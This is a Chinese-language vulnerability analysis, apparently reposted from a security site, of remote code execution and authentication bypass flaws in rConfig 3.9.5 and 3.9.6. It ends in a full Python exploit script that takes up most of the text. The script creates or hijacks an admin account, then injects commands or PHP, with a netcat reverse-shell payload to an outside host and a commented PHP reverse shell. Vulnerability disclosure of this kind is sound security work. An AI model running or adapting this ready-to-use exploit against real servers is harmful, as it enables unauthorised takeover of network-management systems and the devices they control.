21

rConfig中的远程代码执行漏洞分析

 3 years ago
source link: https://www.freebuf.com/vuls/250815.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

7NjuieI.jpg!mobile

漏洞概述

rConfig是一款开源的网络设备配置管理实用工具,在rConfig的帮助下,网络工程师可以快速、频繁地管理网络设备的快照。

但是研究人员近期在rConfig中发现了两个未经身份验证的远程RCE漏洞。其中一个漏洞允许未经认证的用户实现身份验证,而另一个漏洞则允许经过认证的攻击者在目标设备上实现任意代码执行。

受影响系统

rConfig v3.96及其之前版本。

厂商回应

厂商最初的反应非常迅速,并且立刻发布了一个更新版本(v3.9.6),我们最初是在v3.9.5上验证了该漏洞。但是我们发现,v3.9.6版本中同样存在安全漏洞,并将此情况反应给了厂商。目前为止,我们还不知道有没有安全补丁能够解决或缓解这两个漏洞所带来的影响。

漏洞分析

ajaxArchiveFiles.php RCE

在文件/home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php中,有一个ext参数,这里存在一个命令盲注漏洞:

bIvimi.jpg!mobile

攻击者可以发送下列请求内容来触发这个漏洞:

IBvMN3U.jpg!mobile

YJb2Ubv.jpg!mobile

ajaxEditTemplate.php RCE

第二个远程代码执行漏洞存在于rConfig的链接模板配置页面中,在这里,攻击者将有可能在文件中注入PHP代码,并调用../www/test.php。此时,攻击者将能够从外网访问到这个文件,如果目标文件名不是以.yml为后缀的话,rConfig会自动添加该后缀,因此攻击者将能够通过https://rconfig/test.php.yml来调用或访问test.php文件。

VNRbUfV.jpg!mobile

FBBZZzJ.jpg!mobile

updater.php RCE

第三个RCE漏洞存在于https://rconfig/updater.php?chk=1中,因为updater.php中缺少必要的验证机制,如果我们获取一个真正的rConfig ZIP并添加一个PHP WebShell到这个ZIP中,然后上传并安装的话,我们将会发现,程序中会出现一个新的管理员凭证,即admin:admin,这个WebShell就很Nice!

mqA3EnU.jpg!mobile

iey222V.jpg!mobile

userprocess.php身份认证绕过

第一个认证绕过漏洞存在于/home/rconfig/www/lib/crud/userprocess.php的注册函数中,由于这里没有要求强制进行身份验证,所以我们可以创建我们自己的管理员用户了(ulevelid = 9):

3aE3Mn6.jpg!mobile

VNjEjeM.jpg!mobile

ZBzYNvq.jpg!mobile

useradmin.inc.php身份认证绕过

第二个认证绕过漏洞同样存在于刚才那个文件之中,通过利用https://rconfig/useradmin.inc.php中的信息泄露问题,我们可以知道rConfig实例中存在的用户凭证,这样我们就可以更新账号的配置,其中也包括密码:

UZVFZ3.jpg!mobile

3mYz6fI.jpg!mobile

漏洞利用代码

import requests

from requests_toolbelt.multipart.encoder import MultipartEncoder

import urllib3

import re

#from bs4 import BeautifulSoup

 

urllib3.disable_warnings()

 

url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)

payload="nc y.y.y.y 9001 -e /bin/sh"  #change this to whatever payload you want

payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter

 

print("Connecting to: {}".format(url))

print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))

 

x = requests.get(url+"login.php", verify=False)

version = re.search("<p>(.*)<span>", x.text)

version = version.group(1)

 

if version == "rConfig Version 3.9.5":

   print("Version 3.9.5 confirmed")

else:

   print("Version is "+version+ " it may not be vulnerable")

 

payload_final=";"+payload

referer=url+"useradmin.php"

origin=url

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request

 

def createuser():

 

    multipart_data = MultipartEncoder(

       fields={

               'username': 'test',

               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol

               'passconf': 'Testing1@',

               'email': '[email protected]',

               'ulevelid': '9',

               'add': 'add',

               'editid': ''

              }

       )

    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}

    cookies = {'PHPSESSID': 'test'}

    response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)

    if "error" not in response.text:

        print("(+) User test created")

    else:

        print("(-) User couldn't be created, please debug the exploit")

 

 

def exploit():

    payload = {

    'user': 'test',

    'pass': 'Testing1@',

    'sublogin': '1'

}

    with requests.Session() as s:

         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)

         if "Stephen Stack" in p.text:

            print("(-) Exploit failed, could not login as user test")

         else:

            print("(+) Log in as test completed")

            params = {'path':'test',

                      'ext': payload_final

                     }

            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)

            if "success" in rce.text:

                print("(+) Payload executed successfully")

            else:

                print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message

    payload = {

    'user': 'admin',

    'pass': 'Testing1@',

    'sublogin': '1'

}

    with requests.Session() as s:

         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)

         if "Stephen Stack" in p.text:

            print("(-) Exploit failed, could not login as user test")

         else:

            print("(+) Log in as test completed")

            params = {'path':'test',

                      'ext': payload_final

                     }

            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)

            if "success" in rce.text:

                print("(+) Payload executed successfully")

            else:

                print("(-) Error when executing payload, please debug the exploit")

 

 

def user_enum_update():

    users=requests.get(url+'useradmin.inc.php', verify=False)

    #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)

    

    if "admin" in users.text:

      print("(+) The admin user is present in this rConfig instance")

      multipart_data = MultipartEncoder(

       fields={

               'username': 'admin',

               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol

               'passconf': 'Testing1@',

               'email': '[email protected]',

               'ulevelid': '9',

               'add': 'add',

               'editid': '1' #you may need to increment this if you want to reset the password of a different user

              }

       )

      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}

      cookies = {'PHPSESSID': 'test'}

      response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)

      if "error" not in response.text:

          print("(+) The new password for the admin user is Testing1@")

      else:

          print("(-) Admin user couldn't be edited, please debug the exploit")

    elif  "Admin" in users.text:

       print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")

    

def template():

    payload = {

    'user': 'admin',

    'pass': 'Testing1@',

    'sublogin': '1'

}

    

    #<%3fphp+%24sock%3Dfsockopen%28%22192.168.1.13%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%3f>

    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}

    with requests.Session() as s:

         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)

         if "Stephen Stack" in p.text:

            print("(-) Exploit failed, could not login as user test")

         else:

            print("(+) Log in as admin completed")

            rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)

            if "success" in rce.text:

                print("(+) File created")

                rce_req = s.get(url+'test.php.yml', verify=False)

                print("(+) Command results: ")

                print(rce_req.text)

            else:

                print("(-) Error when executing payload, please debug the exploit")

 

def main():

    print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")

    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")

    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")

    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")

    print('''Choose method for authentication bypass:

        1) User creation

        2) User enumeration + User edit ''')

    auth_bypass=str(input("Method>"))

    if auth_bypass == "1":

       createuser()

    elif auth_bypass == "2":

       user_enum_update()

    print('''Choose method for RCE:

        1) Unsafe call to exec()

        2) Template edit ''')

    rce_method=str(input("Method>"))

    if rce_method == "1":

       exploit()

    elif rce_method == "2":

       template()

main()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK